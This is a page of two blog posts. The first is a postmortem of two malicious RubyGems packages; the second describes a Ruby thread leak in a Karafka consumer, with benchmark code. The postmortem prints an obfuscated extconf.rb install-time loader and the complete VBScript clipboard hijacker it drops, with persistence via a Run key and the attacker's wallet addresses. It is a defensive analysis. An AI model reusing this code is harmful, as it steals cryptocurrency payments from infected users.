Page 2 of 156

RubyGems Bitcoin Stealing Malware postmortem

Introduction

On the 7th and 13th of December, there were two malicious packages uploaded to RubyGems. Here’s the postmortem and analysis of the packages’ content.

Diffend.io platform that I run closely cooperates with the RubyGems team, providing immediate insights into any gems that have “weird” characteristics. Thanks to that, the gems were yanked relatively fast.

ruby-bitcoin postmortem

On the 7th of December 2020, the ruby-bitcoin package was pinpointed for inspection. On a first glimpse, it seemed legit:

It had a decent amount of “stars” from Github, and there was a Github repository that “looked” like expected. However, all of it was a hoax. This gem was just a shallow copy of the popular bitcoin-ruby library.

Typosquattings of popular gems are no longer allowed on RubyGems, but brandjacking is a an entirely different story. The attacker chose to reverse the -ruby naming and turn it to his advantage. There is no clear convention whether to call things with -ruby postfix or ruby- prefix, and both are allowed and used. There are gems like ruby-kafka as well as bitcoin-ruby. This makes things easier for attackers.

The code that was uploaded used the “not an exploit but a feature” feature of ruby gems, which is the extconf.rb gateway into install code execution. While it is not the only way to do malicious things, it is by far the most common approach due to its simplicity and the fact that an accidental install without requiring or execution is more than enough to infect the machine on which the gem was installed.

The important extconf.rb parts look as followed (removed non-relevant code and re-formatted for better readability):

begin
  os = RbConfig::CONFIG['host_os']

  if os.match(/mswin|msys|mingw|cygwin|bccwin|wince|emc/)
      vbs_out = "RGltIG9ialdTSCxv---...---IA0K"
      content = Base64.decode64(vbs_out.gsub("---", ""))
      File.open("the_Score.vbs", "w") { |file| file.write(content) }
      cmd = "d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "")
      decoded_cmd = Base64.decode64(cmd)
      system(decoded_cmd)
  end
rescue => e
end

Full codebase available here.

Upon this gem installation, in case it was Windows OS, a Visual Basic file has been created and executed. The enigmatic "d3Nj---cmlwdCB0---aGVfU2NvcmUud---mJz".gsub("---", "") when decoded is just a Windows Script Host command: wscript the_Score.vbs.

Windows Script Host provides an environment in which users can execute scripts in a variety of languages that use a variety of object models to perform tasks.

What is more interesting, is the Visual Basic script itself:

Dim objWSH,objFSO
Set objWSH = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile(wscript.ScriptFullName)
On Error Resume Next
Dim Fygna, Nfbvm, Sctcr, Zvofm, Fobuo, Rlfad
Fygna = "bc1qgmem0e4mjejg4lpp03tzlmhfpj580wv5hhkf3p"
Nfbvm = "467FN8ns2MRYfLVEuyiMUKisvjz7zYaS9PkJVXVCMSwq37NeesHJpkfG44mxEFHu8Nd9VDtcVy4kM9iVD7so87CAH2iteLg"
Sctcr = "0xcB56f3793cA713813f6f4909D7ad2a6EEe41eF5e"
Zvofm = objWSH.ExpandEnvironmentStrings("%PROGRAMDATA%") & "\Microsoft Essentials"
Fobuo = Zvofm & "\Software Essentials.vbs"
Rlfad = "Microsoft Software Essentials"
If Not objFSO.Folderexists(Zvofm) then
objFSO.CreateFolder Zvofm
End If
Const HKEY_CURRENT_USER = &H80000001
strComputer = "."
Set objRegistry = GetObject("winmgmts:\\" & strComputer & "\root\default:StdRegProv")
objRegistry.SetStringValue HKEY_CURRENT_USER, "Software\Microsoft\Windows\CurrentVersion\Run", Rlfad, chr(34) & Fobuo & chr(34)
Call Lncpp()
objWSH.run chr(34) & Fobuo & chr(34)
Set objWSH = Nothing
Set objFSO = Nothing
Sub Lncpp
    Dim Sdrqq
    Set Sdrqq = objFSO.CreateTextFile(Fobuo, True)
    Sdrqq.WriteLine "On Error Resume Next"
    Sdrqq.WriteLine "Set objHTML = CreateObject(" & chr(34) & "HTMLfile" & chr(34) & ")"
    Sdrqq.WriteLine "Set objWSH = CreateObject(" & chr(34) & "WScript.Shell" & chr(34) & ")"
    Sdrqq.WriteLine "Do"
    Sdrqq.WriteLine "wscript.sleep(1000)"
    Sdrqq.WriteLine "Twwzb = objHTML.ParentWindow.ClipboardData.GetData(" & chr(34) & "text" & chr(34) & ")"
    Sdrqq.WriteLine "Vsuvu = Len(Twwzb)"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "1" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "3" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 26 and Vsuvu <= 35 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Fygna & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "4" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 95 and Vsuvu <= 106 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "p" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Nfbvm & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"		
    Sdrqq.WriteLine "If Left(Twwzb,1) = " & chr(34) & "0" & chr(34) & " then"
    Sdrqq.WriteLine "If Vsuvu >= 30 and Vsuvu <= 60 then"
    Sdrqq.WriteLine "objWSH.run " & chr(34) & "C:\Windows\System32\cmd.exe /c echo " & Sctcr & "| clip" & chr(34) & ", 0"
    Sdrqq.WriteLine "End If"
    Sdrqq.WriteLine "End If"	
    Sdrqq.WriteLine "Loop"
    Sdrqq.Close
	Set Sdrqq = Nothing
End Sub

This code registers itself to always run on startup and, when invoked, keeps track of the machine clipboard. Whenever a bitcoin wallet ID would be detected, it would be replaced with the attacker’s one.

Did it affect anyone? Hard to say with absolute certainty. The gem was uploaded around 10 pm CET on the 7th of December and was available for around 12 hours. During that time, it got 53 downloads. 50-70 downloads for any new gem is a number indicating, no-one used it. Those downloads are usually triggered by mirroring and analytics platforms based on the webhooks fired by RubyGems. In their case, gems are downloaded but not installed.

pretty_color postmortem

While ruby-bitcoin contained only malicious code, pretty_color actually used a legit codebase from a library called colorize to hide the malicious code.

The malicious code is pretty much the same as in the previous example, however, the execution flow is different. This time it’s not the extconf.rb that triggers the execution but an actual usage attempt:

module TestRuby
  VERSION = "0.1.0"
  class TestVersion
    def self.test
      begin
        # same code as with ruby-bitcoin
      rescue
        p
      end
    end
  end
end

TestRuby::TestVersion.test

I’m certain we can expect more malicious packages that base their names on popular libraries from other package managers.

Summary

I do not underestimate the risks of this type of attack; however, what worries me more are the OSS supply chain attacks designed to cause havoc in the applications in which they are being used. Either by stealing production data, running botnets, or mining coins.

Due to the nature of RubyGems, everyone is allowed to upload anything they want. As long as the packages are not harmful, they are permitted to stay. This means, that research packages like this one, despite collecting and sending data, will not be removed. This makes things a bit harder. There is still some noise from packages that have strong indicators of being malicious while actually not causing any harm.

How to protect yourself against threats like this? That’s a question for a different article, but you can start by being strict whenever you add new dependencies and not relying on new packages. You can also use the free Diffend.io plugin to impose the policies you want to have without any manual interactions.


Cover photo by QuoteInspector.com on Attribution-NoDerivs 2.0 Generic (CC BY-ND 2.0) license.

The hidden cost of a Ruby threads leakage

Bug hunting

Recently I’ve been working with one small application that would gradually become slower and slower. While there were many reasons for it to happen, I found one of them interesting.

To give you a bit of context: the application was a simple single topic legacy Kafka consumer. I rewrote it to Karafka, and all of the logic looks like this:

class EventsConsumer < Karafka::BaseConsumer
  def initialize(...)
    super
    @processor = Processor.new
  end

  def consume
    @processor.call(params_batch.payloads)
  end
end

And the processor looks like so (I removed all the irrelevant code):

class Processor
  def initialize
    @queue = Queue.new
    @worker = Thread.new { work }
  end

  def call(events)
    # do something with events
    results = complex_inline_computation(events)
    @queue << results
  end

  private

  def work
    while true
      result = @queue.pop
      # some sort of async storing operation should go here
      p result
    end
  end

  def complex_inline_computation(events)
    events.join('-')
  end
end

So, we have a Karafka consumer with a processor with one background thread supposed to flush the data async. Nothing special, and when putting aside potential thread crashes, all looks good.

However, there is a hidden problem in this code that can reveal itself by slowly degrading this consumer performance over time.

Karafka uses a single persistent consumer instance per topic partition. When we start processing a given partition of a given topic for the first time, a new consumer instance is created. This by itself means that the number of threads we end up with is directly defined by the number of topics and their partitions we’re processing with a single Karafka process.

If that was all, I would say it’s not that bad. While for a single topic consuming process, with 20 partitions, we do end up with additional 20 threads, upon reaching this number, the degradation should stop.

It did not.

There is one more case where our legacy consumer and Karafka would spin-up additional threads because of the processor re-creation: Kafka rebalance. When rebalancing happens, new consumer instances are initialized. That means that each time scaling occurred, whether it would add or remove instances, a new processor thread would be created.

Fixing the issue

Fixing this issue without a re-design is rather simple. As long as we can live with a singleton and we know that our code won’t be executed by several threads in parallel, we can just make the processor into a singleton:

class Processor
  include Singleton
  
  # Remaining code
end

class EventsConsumer < Karafka::BaseConsumer
  def initialize(...)
    super
    @processor = Processor.instance
  end

  # Remaining code
end

While it is not the optimal solution, in my case it was sufficient.

Performance impact

One question remains: what was the performance impact of having stale threads that were doing nothing?

I’ll try to answer that with a more straightforward case than mine:

require 'benchmark'

MAX_THREADS = 100
STEP = 10
ITERS = 50000000

(0..MAX_THREADS).step(STEP).each do |el|
  STEP.times do
    Thread.new do
      q = Queue.new
      q.pop
    end
  end unless el.zero?

  # Give it a bit of time to initialize the threads
  sleep 5

  # warmup for jruby - thanks Charles!
  5.times do
    ITERS.times do ; a = "1"; end
  end

  Benchmark.bm do |x|
    x.report { ITERS.times do ; a = "1"; end }
  end
end

I’ve run this code 100 times and used the average time to minimize the randomness impact of other tasks running on this machine.

Here are the results for Ruby 2.7.2, 3.0.0-preview2 (with and without JIT) and JRuby 9.2.13, all limited with time taskset -c 1, to make sure that JRuby is running under the same conditions (single core):

CRuby performance degradation is more or less linear. The more threads you have that do nothing, the slower the overall processing happens. This does not affect JRuby as JVM threads support is entirely different than the CRubys.

What worries me more, though, is that Ruby 3.0 seems to degrade more than 2.7.2. My wild guess here is that it’s because of Ractors code’s overhead and other changes that impact threads scheduler.

Below you can find the time comparison for all the variants of CRuby:

It is fascinating that 3.0 is slower than 2.7.2 in this case, and I will try to look into the reasons behind it in the upcoming months.

Note: I do not believe it’s the best use-case for JIT, so please do not make strong claims about its performance based on the charts above.

Summary

The more complex applications you build, the bigger chances are that you will have to have threads at some point. If that happens, please be mindful of their impact on your applications’ overall performance.

Also, keep in mind that the moment you introduce background threads, the moment you should introduce proper instrumentation around them.


Cover photo by Chad Cooper on Attribution 2.0 Generic (CC BY 2.0) license.

Copyright © 2021 Closer to Code

Theme by Anders NorenUp ↑